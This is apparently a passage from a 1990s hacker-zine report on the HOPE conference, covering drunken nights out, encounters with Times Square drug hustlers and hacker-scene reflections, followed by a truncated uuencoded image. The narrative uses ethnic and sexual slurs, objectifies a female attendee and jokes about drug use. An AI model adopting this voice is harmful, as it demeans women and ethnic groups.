On top of being so immersed in the spy game, and having been in charge of the design and implementation of the CIA's data center, Steele takes the severely radical viewpoint that hackers are America's most valuable resource, and should be put to productive use rather than jailed. This man needs to come to more cons.

Dinner was odd to say the least. The media people sat together, somewhat removed from us. They said approximately 5 words to us the whole time, possibly feeling somewhat bored by our drunken computer revelry. The reporter seemed visibly disturbed by all of us, and the guys looked like they would be more comfortable sitting in a coffee shop listening to Tom Waits while having a hearty debate over "Freud vs. Jung."

Our discussions got louder and louder as the scotch flowed, and by the end of the evening most of the restaurant had heard such topics as "The CIA does most of its recruitment in the Mormon church," and "licking the floor at a Times Square peep show." By the time the check came the Details people were more than happy to pay more than their share of the bill to get the hell out of Dodge. A word of advice: always get separate checks when dining out with any of us.

Back in the hood, everyone was milling about waiting for the History of 2600 panel to begin. There was some kind of problem with one of the displays, so people were beginning to grow restless. Right about then one of the best looking girls at the con wandered by. Taking a guess, I asked her, "Are you Morgen?" She was. It's almost unbelievable that someone who would waste time hanging out on IRC and who can actually interview for highly technical jobs could look like this.

Morgen, Earle, Mr. Fusion, Ixom and Garbage Heap were heading out to get drunk, all of them rather disgusted by the regular con attendees. They invited me, so I tracked down Ice‑9, who by that time was so ready for a pint of Guiness you could almost see the Harp Logo showing up on his skin like drunken stigmata.

We ended up across the street at a little pub called the Blarney Rock. Pitchers drained like sieves, kamikazes dropped like WWII and tequila shots went down like Mexican whores. Everyone was in agreement that this was the best time any of us had experienced at HOPE. In between everyone drinking, and leering at Morgen, we actually talked about hacking stuff too. Gee, and we weren't even on a panel!

As the night progressed, almost everyone from the con ended up at the Blarney Rock. The con took the place over. The Blarney Rock probably made more money that night than they had any night in recent history. Everyone actually mingled, talked, planned and plotted. Plans were thrown around for the next PumpCon (Boston?), everyone talked about "the time they were busted the first time," Steele showed up wearing a Chinese Communist Cap, Fusion cursed at passers by in Korean and almost started an incident, Lucifer 666 relayed in vivid detail his ex‑girlfriend's Fallon‑esque ability (much to the shock and envy of everyone listening), Count0 told his decapitated dog story, and there was much rejoicing. (YAY!)

As the night went on, Ice‑9 and I decided now was the time to actually check out the seedy underbelly of Times Square. At 1:00 in the evening. Alone. Drunk. Wide‑eyed out‑of‑towners staggering up side streets in one of New York City's sleaziest areas.

Within a few minutes of hitting 42nd and 7th, we were approached by a street hustler. "Yo, what you need? Crack? Smoke? H? You like young girls? What you need, mah man?" Ice‑9, in his drunken glory, "Yo man, you don't know who the fuck you're dealing with! I'm the biggest fucking felon in the whole goddamn world. You don't have shit that I couldn't get, and probably don't already have." The hustler took a double‑take and said, "Yo, I likes your style." Ice replied, "You damn Skippy!"

Shortly thereafter, another hustler showed up. "Yo man, you want crack? I got the rock right here." Ice looked at him and said, "Man, if I smoke any more crack tonight, I'm going to fucking explode." The dealer went away fast.

Times Square isn't quite as sleazy as it's made out to be actually. I've been in worse. It does, however, have the most extensive and cheapest collection of European smut this side of Copenhagen. In fact, the same movies from Holland would have cost 40 American dollars more in Holland than they did in New York. Beyond that, Times Square had little to offer anyone. That is, unless you wanted to spend a buck in a really sleazy peep show to grope some crack whore. I think not.

Somehow, we made it back to the Blarney Rock alive, only to find that they had kicked everyone out. We headed back to our cell and passed out.

The next morning, I came to early and wandered around the hotel. The second floor had caught on fire recently, and one wing was completely barbecued. All the gutted rooms were unlocked and the phones worked. God only knows why people weren't using these rooms as squatter's pads, considering how broke most hackers are.

The main ballroom in the hotel was very cool. It was easy to see how at one point in time the Pennsylvania was quite a sight to behold. I suppose it was much like New York itself in that respect: Once a marvel of the modern world, now a festering sore crying out for a good cleaning and some antibiotic.

We left New York at noon that day, and did not even get the chance to see the numerous panels scheduled for that day. With my complete absence from any panel it's doubtful I would have made it anyway.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

So, did I like HOPE? Yes. I like cons for what they should be: a chance to hang out in person with your idiot online friends. Hackers are an odd bunch. We are all basically a bunch of self‑involved, egomaniacal, borderline‑criminal attention‑seekers. Rarely, if ever, can we expect to meet anyone stupid enough to share our interests. Normal citizens, with whom most of us share absolutely no common frame of reference, look at us as if we were Martians. Even those computer‑literate folk who talk geekspeak and understand most of what we are saying are left in the dark when we begin babbling about breaking into anything.

Collectively, we are all fools, and without the opportunities of any social interaction with our peers, we will all fall prey to fear, uncertainty and doubt regarding each other. We had the social aspect many years ago in the early 80's with the proliferation of BBSes and teleconferences. Now, much of that interaction is lost. Compared to our subculture's "Golden Age," the teleconferences and BBSes that exist today are a pale reflection of the ones of yesterday. All we have is the inane banter provided by IRC and the occasional con.

Our only hope is each other.

See you all at Summercon 1995 ‑ Atlanta, Georgia.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

begin 644 2600VAN.JPG M_]C_X``02D9)1@`!``$`:@!J``#__@`752U,96%D(%‑Y<W1E;7,L($EN8RX`X M_]L`A``%`P,$`P,%!`0$!04%!@<,"`<'!P</"PL)#!(0$Q,2$!$1%!<=&!05S

M&Q81$1DB&1L>'R`A(!,8)"8C("8=("`?`04%!0<&!P\("`\?%1$5'Q\?'Q\?4 M'Q\?'Q\?'Q\?'Q\?'Q\?'Q\?'Q\?'Q\?'Q\?'Q\?'Q\?'Q\?'Q\?'Q\?'Q__` MQ`&B```!!0$!`0$!`0```````````0(#!`4&!P@)"@L!``,!`0$!`0$!`0$`_ M```````!`@,$!08'"`D*"Q```@$#`P($`P4%!`0```%]`0(#``01!1(A,4$&D M$U%A!R)Q%#*!D:$((T*QP152T?`D,V)R@@D*%A<8&1HE)B<H*2HT‑38W.#DZM M0T1%1D=(24I35%565UA96F‑D969G:&EJ<W1U=G=X>7J#A(6&AXB)BI*3E)66) MEYB9FJ*CI*6FIZBIJK*SM+6VM[BYNL+#Q,7&Q\C)RM+3U‑76U]C9VN'BX^3E\ MYN?HZ>KQ\O/T]?;W^/GZ$0`"`0($!`,$!P4$!``!`G<``0(#$00%(3$&$D%1D M!V%Q$R(R@0@40I&AL<$)(S‑2\!5B<M$*%B0TX27Q%Q@9&B8G*"DJ‑38W.#DZF M0T1%1D=(24I35%565UA96F‑D969G:&EJ<W1U=G=X>7J"@X2%AH>(B8J2DY255 MEI>8F9JBHZ2EIJ>HJ:JRL[2UMK>XN;K"P\3%QL?(R<K2T]35UM?8V=KBX^3E& MYN?HZ>KR\_3U]O?X^?K_P``1"`#>`4`#`2$``A$!`Q$!_]H`#`,!``(1`Q$`? M/P#Y*(QFJDO!'/:JB.1'T//%`X]J;$A>E)TI#%#LO0D5/;SN)5RW`‑)H:9H'$

M)\@G/(//_P!:K,9(&*R9JC9\&8/BS3<CI.#^A‑9WBB82>)=3<,1FX8C'UJ%\H

M?R&4%=@P"L#]:<)&`^9`0/0U0#A+&>&4CZBHIDB9ALQP"?TH6@,L0<SL?IU‑E M3N@VG.?J*3!;&6T$9Y:$Y_O*<4KJCHJHXCV],@C_`#^57<5B.6VE8KL&\J<_V M*<G\NM10*ZWJB1&0^A&*I‑$6L=1IN51_7?\`T%7U8%2#U%8,U1F>)@$TY‑IXA M,@_D:Y5AB0?[PK:GL9SW/0=`^6UCSZ#^9K45,MTP?;BN>6YHMBYJ@$?C?P<A2 M8C]S$,#OF0]?SK;_`&NF23QS:[PQQ:@#:<8Z'^M8K^+#YE?89YRR$>&XE'(R8 MX`QS]UZ]"_9%B"_$BX+1"$C3I>3GGYD]:VJ_PY"CI)'!>+Y3)\1[XGRBAO\`% MD$KG&ZFZC#&]O&S96*.`O(5.#@,G&>V3@?C54]HBENSM_P!GJWU[4‑=>[TC4^ M8+5+=Q]I5XBX,6#\J\CGMSGKGMSYM<R"7Q.C%B`9X^@^E$7'VLDET&TU!&GJ8 MA!TW;_TR_JM;OP/A#^+851&)62)L;O1Q[>].7\‑A'XT4/CG<@_$O5B4#?OB.. M<]CCM]*R+)\Z5)@``Q]NWR"M:/\`#B3+XF<T8P,U2=<XY[5<6920S8/6D"$4' MVQ)!M/I2;3Z4!8`"*<G#"@2‑C:!Y&<9V9]ZLKP`*Q9LBUI4E^FJVPTL;;LMBM%LCA^W7C_P#75)K1M9\02QSMY9)=Y2.N5&6Q^1J59.X/834=,MX6MY[.>X‑GU M.C,A=<OE>&&.!54P7*,H1D96Y&[@@<]1VZ5HG=:D*XX&[0`M#DG(P""P_`<CY MI3(KA9G*[2"%(YZT670?,7(QB9@6Q@U)(=L9P1Q6;‑$1J`J+F.09';!I=L3'O MEE!]&&/YU/,5RBMI\;#(X'J#D5%‑$\4L8,A*`YQZ5497):L:^FKF.3H,/Z8[? M"K@CV]P#4O<$9WB)Q+;1VXRKAMY8CY<<\?6N=^QS&6/:F[+#[O/Z=JU@[(B2R M=ST#2X3;V$.Y<?+SQ]:N),%YQTK![E[%W4&#?$3P8H[K:@CZR5L?M0WL2?$$5 M+(2H6!0`"?[J^E8+^)!>I?V&>>ZBP&@(5'!DDQ],/7H/['Z[_']\PXQILO\`K MZ''6]32E(F/Q(\N\53%O'5S+ZW8/ZBK7B,D:8A!Y`"D>H//]!6L=%$E]3U#]F

ME63R9‑5\S*LWEX'3/$G^%>..'&O)(0=JSJ<GV(K*G_'G\BY?PXFMJYWV+(O7J MR>YP/O)72_L_PB/QDH=T'^K(^;C_`%T8[?6M)_PF*/QHQOC(/‑^(>KLSHN+J3

M4`<]G8?TJA9IC2V'!&T#]*UI?PXDM>^S`GNFO9'G=$1GY(08&:H,.1]*J.ADR MQI7%`7%#!`%I0N*0Q0O/2@+\V`!2`UF0@0@'@)V'&>._<U91.G(K‑EHZ#P'8_ MBX\66*MT5F?CU"DC]17+ZE‑)9:_‑<1*C%)W.UQD'GD$>E1'XVO();%?5M8GU7 M‑HOW,5O'#GRXX5VJI)R2*IQW,\$F^.:2‑_[P8@_G71%)*QFR==8N0I5RLH.=+ MP;/)/?@CGW[]ZKV>?M"@<9‑%DEH"‑=D9)WV@\'IC'Z4RX&%;VK(U,^*[N]["1 M)BVT],#UJ9=8F0_O858$=.G%‑TXO;<49RB2KJ=JQ!,+1GU7C^5,:X$MT@BE8E MKUYJ8TY1>I3FFM#=TQSY+KT)<YR,5>.0.<]*EC0HA61<,*KRZ)#.PP@'T%).G MP%O2;&6RDP9I&3&`K,2!^%:#(4&<?E2;U%8OW'[SXD^%0$SL6S_#YQ5K]IYUU M?XD2XV$K$@Y(X.Q:QA_%CZ,T_P"7;..U%‑NAQ;=N0S'YB,=&]>*]+_9(&WQ7E MJ$WRAA8RCY`,?>B]*TJNU*1,?C1Y)K69?$D\@EPI?.,'T^E6==A+::H7`)9>O MWU[UO%Z(A]3U']F2)X5UE]J82W1SN.#QY@XKQJ\\D:O)AY‑PD/&SCCWS65+^, M/.WD7/\`AQ‑767$=GAAD>5C@_P"TO^%=K^S780ZCXUVL'4+"7'S#JKQD=O:K3 MJ:4F$?C1R7Q5?S/'6JG:"1=S=3_TU:JUKQ8@=/G`Q^‑:T_X:)?Q,YL<`U59@L

M&P3VJT8L3<OJ/SI1CUH8(<(SC(Z4H3TJ2ARKBG1QYE7ZT@‑5TR8<$G]T.V!V? MZ?XUJ6&LV6CZ<WGV<5Y,\N`C=0N.N<<5G)7T*V‑SX>S1W/BF.>.#R4,<I$9;G M=M^0\9KB=6CW:C<'_IJW\ZF&DV‑[%18<YH\G.*U)&/`!_"*6SC!NH]JD$,.A& MIW%8VX(M\TI&`=W&/H._?ZT3V[>4_`/%97LS0P?LUW:LVQ77GM0+R=8_+D16_

M`&T;TSM^E:6A,E.<‑!ZW=NP`EM`2!C(;';%+`(/MMOY!898;@W8Y]J%&4>N@G M.49=+,Z>TC)$O&,NW05/Y&T_>)]<UDRD12226Y+9&`,\MC\OUJ:.XECC64EE' M4M@[E!Q['O\`I2&7H;HN`2BY_P!DG^M6!*KX&‑OU%2T"‑6&W#_%_PU%T(^Q8_ M'_`EJ#]J1@OQ4O$#<*D?_HM*SI_Q8^C+?\‑G*ZN?^*<4>@S^O_UZ]._8_:‑=Z M6UB209"VCXY]3'_A55OX$B8?&CQ^[?S‑9E/NW\JN>)>‑&5EX(E4?HU="6Q#Z[ MGJW[,I>'PQXGN#LVK9<EASD>8>/\^E>(W49;7KC@X$KG^=94OX\_D7/^'$UM& M>#‑:*%!)P!Q^'^%=_P#LTV^L+KE\VC26<‑^MJ_E?;48QMRG!QSSCJ*TJ‑*D[T MBBO?1P/CV;4)_%E^UPT*SF=S+Y3?)N+$G&><9I8SLB0$@_O1W_VJUA;D5A:\. MS.=(P*H3</\`A51,9$>*!QT‑‑DH<K..`Q_.G++(O1OTI6&/6XD7N#^%2PW+EI MQ\BDBILBDS>6/<\6>#Y/&>O4=NU$UJ!AL=*R‑$=9\+X]WB%@?X+:0]/;_P"O" M7'WY4WL^2%)D8\_6IA\;"6A454#'YE/XU(L!/TK1Z$H9+`0I]J73;9FNAE>A` M';/<4^@&U`GEW,I?.%E&[)R<8&>E3ZQK5MJK3+;:8ELB9"2J<&0>ZUBU=W*U@ M,8M<?W,\]B/ZT+*1]^$GU^6ER]C3F$9+5C\\*C/M_P#6JLL,4.IP&%<`.IX.B M>_M50YD[$SM8ZG3F(MCP.7;I_O&GJZAR<#D"D]Q$‑W`LTHZK@=0I(^E119";E M4;"QGUZ4(9>L8'1!NZGMG.*NQHQP@'‑2P‑;0KZWU#XV:‑Y9YB>VC`8X.Y"N0= M/RJI^TC,+CXJZBP:(?+%]XJ/^6:^M94]*L?0M_`SC[_5K233#`DT9D$?3'^TS M/PZ5Z9^RWJMI:7VN+/=V\4KVRI$A8*79CP%'<\=JNO!^PD3"2YT>0M<1R:S+A MMG0+N;&6VCTZGBM/6IXY;!5AO+9<2!N+A?0]@?>NFVQDY(](^!6OV4/A#Q+9" MOJ,(NY[61(HF?#2L(W;@'D\9KQ]]1A_M22<RDH7;MZY_QK*E!JK/3L:3DN2)R M8U+7+:^BVH)%((Z@>]>B_LZ^+]'\.>(I&U*\‑L'*HFZ)FWEN,<`XYQR:TJTY= M.DTA0FE.YP7C:YC?Q7JFXMN6Y=6P.,@D54.N1F,1B(X&#G/XUO3B^5$2DE)EN M‑ONGZ529=STHD2&B,;@#5FWLXIG"G<.O0TIMH<4+‑I\<>[:S?+C&:K&`AL9IE M1E<&K`(B*GL8B;I5]Z;8D>G>./`T'A"#PW‑#<RS‑JFB1WT@=0‑C,W(![CBN;1 MFC^2N=.Z3‑MF=/\`"],:S=‑_=LI#C\JXF^M))+N5UB<H7;D#(ZFBGI‑DRV,Z< M:VV‑T(IHAQT)%=!F(?‑7@2.!]:LZ2TQOD_>':",\]LTFM!HZ"VB9I9A@#Y^F\ MW'8=JBO8/*1P`,`>E8]31,QTUE0/FA<?0YJ:+5[4_>#+CU6FZ;0*:+"W]G*HR

M^8#USQ4.R&;4HS$0P&.@H2:!M&[9Q%;5<#J3_,T/&4/XU`T‑^U`3%‑V"O7_/U MX4\.I<%@II6&6871!\JJOL.*MV\I#;AU%2P)&\*KXQ^+UGHZEHC<A4W(0#N$` M1(_4"L;XM>$]0T?Q0FG7H_TJUL[>"0`AN4B50,@XZ`5‑&IRN,?(J<;ILXZ/1& M9'4'=C/M7IWP0^&=UXC34[VT/^E:5<V=RK;PH\L‑(7_55/X5O6JVILSA#WCAP M;/P#KOB/4IHM(TRZNW+,V(HR0%#8))Z`#(R3P*[73OV>‑:O]/CBN_$/A'3)%4 M)#+<ZQ$Q4YZ?N]U5*O&*#V3.W\(?L]Z=H^F@S^/_``@=32Y,@D@OW9#$8]NT> M_*.<DGZ&L=?V2;J4‑&GC'PT\C.&6Y6_'D*A[$$;RV<=!CFL?K‑G?]#6‑*+5F! M.;]CKQ(DPMH‑<T"\>3:4N8=0401CG.\,‑Y/3[JGK6YH'[*7BC0`]A>1Z7J4EG MY<0‑!=V5R6%ML8[MVY1P0PZ?W>AJGBDU9!&C%‑7?X'H&N_LPB;Q=#=P>%K*\\ MT^7Y[N1Y%!+D2$G'7@^6,]^3QSFAI_P#@LK>1]5\`:>BQ3)]R‑G9D\T[CQ_L^ M8Q6?OI:‑FEXOHCY)?A&'M5:)07&1W_I7:CB8OE+YB\'J:L6T>R0')&,U,F.*1 M))!O=UW9R!VIKV;>:!D?=J$[%,B:`PGGO4E@G^G?0?TJB=CVWXSIG1OA^Z@;= M3X7A&0>,A^:\[:'>F.E8QV1H]V=/\,;?&IZB2,[=/D/_`(\M>W?`KPAX?U_X*

M&FYUZ":>WM]6N'D6*9(R$S$6)+,H``3DYSM+`<FL9ZM_(J)I^._V4]#U;PR_< MB+P5?71,MN)[:SN,,L@8JP"L<$9'3.><9‑?‑TVBO&Q6:R7/.=\`'\Q5JY$H]& MC%U3280<>2B'/\*XJAI%EY=[(0#A6&/S%=$7H9VL;EE`?‑DXP‑YZ9QT'KS3=% M1MSY3\=O6I*.<@\/SRS+$K#+,!RM6;[PE>Z=,T4AC8J<9!/^%/VJO8.70M^&C M_`6N>*‑3BTS2=.DO;N4_)%%U./Y#WK9;X::SX9\0W6DZQI\EM>6A`E0X8+D9H M'(.",=\T.:V#E>Y?BT*2"$?(3R?YFJMQ8‑&<D=*R;U*1P^L0R)J$H+9PW&:K> M+/<1D;)7&.F&‑;JUB>IL>'KFZGO`LK%T1>YZ?XUUEI'O=5QR2*QJ:,N)U7P^B MA/\`PT)I7'"2_P`HC5;]H*U‑U\2=4N5!.R11Q[`"N.+M./H;_99Y5+I\D+*FY MQU.!D$5]#_LB6+G3O%ZEECW6\$89C@#/G<G\ZZ:[3I,S@K2//_''C*71DD\+>

M>'+ZYFTI5(M85&1/(6R\SC&,D]!GY5_,]OX/T*UO'=KKRW=55>HQQUQZ\YK.. M,7&‑WU*JRB[6^9Z#I7AJPC`^6*,#LH&35K4[&"&+RDAV@]^<FJ1!S‑WX9BN)6 M‑R1@GWKL_AUX$EN+@75R\PMHC\L>XX=O\!6].*D]3.4FMCT2'3$L[4VD!DAA, M/.V*1D'Z&O._B)\03\,==L(I‑<UCR+H;?)699`')X),G10‑Q//:KJPA%72'1V

ME.I)1/AIQ\K?2H[>VGD8‑%"[@‑C(&>U7>R,WN*;6X60?Z‑*.3_":GMXY!.5,$ M$@Y/:IDUW*2L/(V2N2K#@=13_‑!D7Y&^[4#&‑"T\N$5B?3%7],\,:Q<7I,&EW M7TO!^Y;NW;V%.Z6X<K>Q[QX5\/7GCSP?9>$/%6AZ[IDVF!CI.KKI<LJ*CL"\B M,B@9QG!![8[8YV+#]D#6M1A,MIXATXH#MS+#)&?R(S7/SV=D:\FEV0:K\`]7D M^$>FWNLZAJNFW:2P‑;JEOYFX,?FSRH&,*>]6_P!G[X467CGX?>=J?B76H+*6] M\D#:=;2!(25(^8YR">G\/:I<K78))GTE!IZ6^D:?I4"3_9+&".!/+E`F=4"[1 M?GX_NC/KS42Q"S79%H>LNH];Z‑O_`$‑ZA^:*7D5I=*T_490M[X‑U"13U:5;"X M0#\W)J#5?@KX=O\`]YIMAX=M78@L+O0H)O\`T`H?U‑$8I;:!*3]?O_4XC6O@^ M+X@MVEDL_"GP]U.(L2!%!‑:R$?3<5!_&N$U[P!?Z86BU#X"‑<O\`WK&_N"I_G M%"P%:6:ZD73V,"X\(Z=','D^#/BBRQWAOICC_ON$U8U+P]X$D>W_`+5T'QC8E MRRC*YDBY('3YD&:A[Z,.FJ‑WX91>$?!/BJS\0:(OBYGC5@T+VL3B1".5.UL^. MA^H%>UZ+XJ_X2[Q"C6NDZM9V=P#'=PWVBXCFP#@F4],>^1VP*:=]PV,SX@?`U M?2/$\HO=&M$TZ3!61(81Y3GU`'0_05X[XZ_9[UW0[87$5HUTC';^Y1B0?<8IK MNZU)L>‑:_P#"S6+66XFO‑(OK9=XVO+;LJD<=R*YFY\%7$3M]TJHSTK2‑6PFBE MSI'AZ2RU*>+:?D5.,=R,FNHTW36:[A4@@%U'3WI2E?4I:'2>$K*>T^‑MG?>6` MWE+=2+OQQ\L8R/PWC\ZYG]H"^D/Q!U/;*RPF7D`G&<GMT[5STK.I'T‑).T3'@ M\)^`O%/C>UGU/2]*O[^(3;#+%&[C<`,C(/7D5Z!;MJ_P7^%NMC44FMM7\12B[ MUMK>52K10QJ?,E(/(SO(_"MZG*_<(BVM3Y]DNIW9I$(5`V,@"A‑:U&V(,=W(^ MI'3%=O*CGYF;VD?$_7K%U5]3OD4<;HKEUQ^&<5ZMX#\7:[XF_=?VW<2PK$SLL MQ?<?1>3G')&?;‑93II:EQF:=YXW\2^%UCEN+^QD60GRP\*;FQZ!5!..*]]^%Y

M&I^)‑=\(6‑Y<M#"\\7FHABP`O.WC(/(P?QJJ='=ILB5:/8W9[C7X\D_9)!VVA MQ$$?^/FOF7]I[6[RPU*.VU6R=I[O]]!<QN%$:+\NS:RL&^\3P1U%;.C=;DTZ8 MRC+W=&>`>;`?XS_WS39)A'M,$KJ0W."161HR+^T+N.0;;F48/]\U.OB+4T+@2 M7TQ"]`7)'44I4XO=`I‑&SH[7]Q);76K:@]AI]QD^?Y/F.ZJ<$HF1NYR,D@9!P

M&<BO:_!GQ'^"'A&*‑Y?#NOZY=JOS7&H+%@_2,‑M`^H)]ZYYP5[)&T6TCT;2/) MVMOA?IN$L?"EY:CT@MH5_DPK>M?VP_AY)@/8:O#]88^/_'ZCEY=D%V^IMV'[9 M57PRN1AM0N;?VDM\_P#H)‑=%IGQY^&^I\0>([92/^>L;Q_JR@4W)):H7*^AQ3 MW[1'B[P]KWP]VZ/J]A>NL^YD@G5V4;'Y(!R!G%:'['5M&/@=IKX'[RZN6/\`F MW]8?TI*SD/5(]F$*Y'MTH\@`5IRF?,)L4'''Y4P6T*$E40$\G"CFIY4‑‑H06X ML(D\P`@_[+$#\A3)+682.\‑]*I/1'"NBG\@?UHM;8=^YROC.^UV/3YK)XTM#M(R"/4[8EPOS`D.A&Y,C(R"V,U/X7\2^'?'5M,VE3>>+8A';R60H6SC!8`]!U* M%9.SERR‑$K1NC5715CMS%#>7B>C>>78?]]9K,F\%7$SECXEUDY.=I:$#Z<1BY MJY+:$\QTMLWV>!(54[44*,MDX%8'CGP[/XHTMX+6[FM;A1F)UD*@‑[XYQ5RUZ M5B4K,\QM_AM\4M#D=[/Q#!/DDJKS%QCC`PZ?6J^I>$_%]XTG]N?#WP[JZ%?F' MDB6..5O^!!L_I67)J.[1B2?"[PU=:C*]]X%\2:([%0TMLYGAZ=<L"<#VINJ_> M!;0K/3O[2TKQ''</`5D‑HT/[W&X#L<\9]*):(:/(KOQ&‑/\`B!#IZ1;6@U"YF MF,Q;A@\*#;CMCRL]>]<7\2=<M9O&=\+N)YHYU^8QL`0<L1C((I48>\K=@F]+_

M&KIWQQE\*Z`‑.\):OXFTZ8']W`_V22#)//`B!YK!^+/Q&O?'^KWVIWQ5?LUNY

MEM%&CDK'(YR^,]N)!^(K=4FIJ3,Y2]VQYL9B+=(QV)8T`!P!@$XYKLV,C:L_% M#EG‑X8N=3>259XFVH@88/([8^M;/@[Q/<>$‑"N+JRF,=U<2>7"_'RA1@]?\`[ M>!_"LE)S33[E62.W_9^\$W7Q*\8RZE?R2M8V<BW%TQZRMG*)^.W)]E^E?9VC6 M*L5M(0`.,``=!76HJ,+(Y)RO.PKX"''3O7S/^V‑I=["FEW^U9K"1S&NX?‑;S^ M=\'^ZZCD>L8/KEA#XCYB`QW%."Y8=.M<YU$;C$N,CK4MI8FZEES((XD&Z1R//

MNC^I]!0W8:+‑S=R3I&FYS%"FR(,V=BY)Q^9)^I‑,497KV]:C8HN64‑I'#(\[. M3>=M!A5,;<Y&=Q^F<8'4_G;MG!V‑+SDXV`^^*AW`E\502:)JSVBS9VQHS`'[\ MK%064^X;(_"LVWN)WY\QP>WS54+.*8GHSM?AS>W4BZS'‑<2LBV1P&<D`[A7I0 M'[,FEZ_XE>6RTO6[K2H(%:225$!526PHR,')/;/0&L904I‑%J;BKGN&K^,/B\ M1\*HX[G4‑1T_7‑‑\Q8_,;=OY.,LIY'X.WTKUK2_&%KJ?A.'7Y,6L#0&60,V1` M'MSNY[@$'GO4N\‑&/26J/.)/VA]*)N99/]$@B#!/.;,TC8&W;$.QSU+#&*SH] MOVC=+N(%9M=M[28@;EETUV`/U68YK#G;V+LEN4‑=^/'B:VT6XUC0;_PMJ]E:J M2(ET‑L\,L._.TE6/W21C(/6N9MOVI?'=X?W.CZ!*H/)620_UJKL+(NS?M">,% M‑8T^XLI]$M!'/$T;M%N#`$8."6.#CVK!\#?%'7?`DES'9V*R17#`M%(,!3VQ1 M@UDW+FN‑6M9'<0_M"^(F4%M!BQ[,?\:M1_M`ZWCYM`C_`._A_P`*I3D*R%7]] MHG5@VUM`AR/6X(_]EJ9?VA=4/3P[$WTN^?\`T&JYVA)(7_AHC4>G_",#/_7WN MT_\`':5?VBKA0!)X8?CKBZ!_]EHYV.Q‑'^T9$2‑_AZZ7_=F4_P!*HZY\;‑$U( MZV:UG\/7R32?*DOR?*W8GGI1*>FJ"*L]#YV\3ZQHT^H1PR07D‑VNLW#/=1*KO MC8T("@*S`$AAD].">:\U\3^9>:I)&RQDJVWS3"8V/U`R/U‑51C[R?D:2J>YR?

MM&_X&L;'2=,U37;RVB=M'L&>&13P;EV"Q9XZC+‑_P"O‑;EVDBR2Q:1]Q]#C_` M`/6:ZZ=W)LYJC5DDB":,HP7'3M3@CH20M;&1<MKZ:"RFMW9MCX(7MD5=NE":6 M;:6APK;‑Q/;YN?Z_I4VL]!GU‑^R=;65GX$OEMI‑TQOCYOS*<?NTQT_&O>=.'> ME6A)QD]JZ6[Q./[;(YGV`9.,5X'^V%J5NG@S3;%B/.EOA(@_V51@3_X\OYT#$ MC\1\F@<U)$N9%Z=17,=A,ME]LN]J%%4<NYZ(O<FI)YDF(@ME9;5#D<89S_>;L MW]NP_$F65L=5XY@\/Z9X8\‑Z;IUNR:D(6GU*1QS(94C="#_=`.`.V#ZY/+6Z> M@YRJG`J(WY=0ZEA".`%`XQTK:\"Z2FJ^+K:V,/FJ"9)$_O*@W,/J0"/QJ9/EP MBV‑;F5XRO7U'Q3J4[R>:3<.OF8QO`.`WXXS52T7&23C`Q6D5:*1)UWP[!%MKS MDN"!]DQG_@0KZD_90T:TT[X2V%]#'BXOYI9)G[G;(R*/H`OZFIC\;_KH$](G+

M4_$!&O;*'2(U66YU&X2"!"<?‑N!W?0=3]*S_`(_>++;X?^!K3PQ8.JI#;*9`" M6QE%^5%/^\_)^E9XAWE8=%6B?'‑SK<FH.UU=D3O)M9PQY[?=]!UXKZA^"W[+! MG@GQ5\/],U_75U&2[OXO/VK/L5%)RN`!Z8Z^M+6.B‑%:UR?XO?`3PW\‑/ACX# M@NO#T^H![I(_‑$\JNH6‑C)Q@`\D=237B/[/<,5[\0KNTGB5XI‑,G?8PX+HNYP M3CZ!JG^9!V/=K2&W31;Y].6*VFCM]ZND2DC;U(R"/X2.?6O,‑5^)]D]UY=];T M7C3!R@):)22/]U1GI7(GJ:V)(OCQ;0HJIYN`N5R\1XQU^[0O[0$,C;%#%CT&. M^+_XGW'YU7)+L%T:N@_$5]<NV:6(QH5(7?M/(V],*/[U4_$WQ7O=*U1=‑T:QK

MBO)TC\ZX>241QQ+VRW3/U_6E"'‑*SV!NQK>&?BQ_;$,D‑U;R6=]!CSK=V!(!G MZ,K?Q*?6LJ;XVF.5XO[‑D+H_ELHE'!RJ]<8/+`<4.G:5@OH;H\>0S0J^U"K`_ M$9]*J7'BN&Z80JL8+'`P!4,#QW4IH1JD‑PS;D&NLKKGH""*9X[@M++4_/CGBC MB210RK(V‑V."`?;BNNGND9RT1IPVMH_POTV#6;P0PZO?3SB8O@.D`$<:[CZ‑\ M)*?PKSN/1+BZBO+O3,BPM)`/WC*Q`=B$X[GCL*ZJ<D[JVM_^`8U(\J4KZ=NI2 M)<VVN6#SPS6FGLENGF3'[#;R%5)VY+[#W('7K5=I[>WAB%QHMA).PWDMYB?*2 M1\N0CC'K^57R]F9IHSDBBFF4?9E3+`;4<@8_X%G%77‑P;B5A'&(R,8=0=H/Z1 MU5@O8^F?V2+^V;1=2TA67[0DXN3GC>K*%SC/^R,_[U?0BQ[8PJG:H%;<VB,)S M*TF4[O,3;B5;%?+O[2VO_P#"47=MI%C(DL%BS/*RN"&D/``Y[#/YTTUL0M)'S

MSRO'M4]I;O/.D42L[L0`H')‑<[T.TLW)6‑&M8&RA(\Z0?\M&'8?[(_4\^F'VH M=FTDB@?*O%0]"CK/BG9V\>NZ:+1I'$6C6"7#'[HF,"G`_P"`[?QS7+)"48\]; MJB/PH$A50EPHKTKX.:.MFFO>(YH0T‑C:[5)."K8,FX?]^L'_`'JRK.T&AH\H4 MD0O*6.22:M+'MBV@8+''^?RKI).X\"6@@T#7)=IQ]G49[`\_X?H:^I/V8@J?% M`_P\QZD7'_H^2LX?&_ZZ!/X3J/";PZQXRU3Q3=2*FFZ'&UI;.WW?‑QF63/\`% MLKQ_P(^E?/7Q/\;1>‑]=U*2ZYBN"<*QY1!PB^Q"\_CFN:;;E<TM:‑CP_QC:)C MIS:;]F8XFL49@/524)_$IFOL;X._M#^$[#X4>'‑/BNX)M2MK*.VFM?.5&1T`6 M4Y!^;!QG(!'‑;3;Y4T@75&!\;_B%‑XL^'6J2SW5O#`;NU@"6Y)P&68D$GU&/E M;BO(_P!G6,6?Q=L;=N1‑#<QYSU!MI<5A"3L[EM=CT[P‑KWVW4+G3BW,UO+&H> M^JG'ZYKR#QA'!_:_ER/$I2[\W$A^\O.1]?FK"G\1?0YV'3A'8O:^?`\32HS,D MK$F,CL..<JOMCFE%NMFEM*ODO)$IBE)9N7PN#TY^[_2NKFN[$)6.PLKYH]!B= 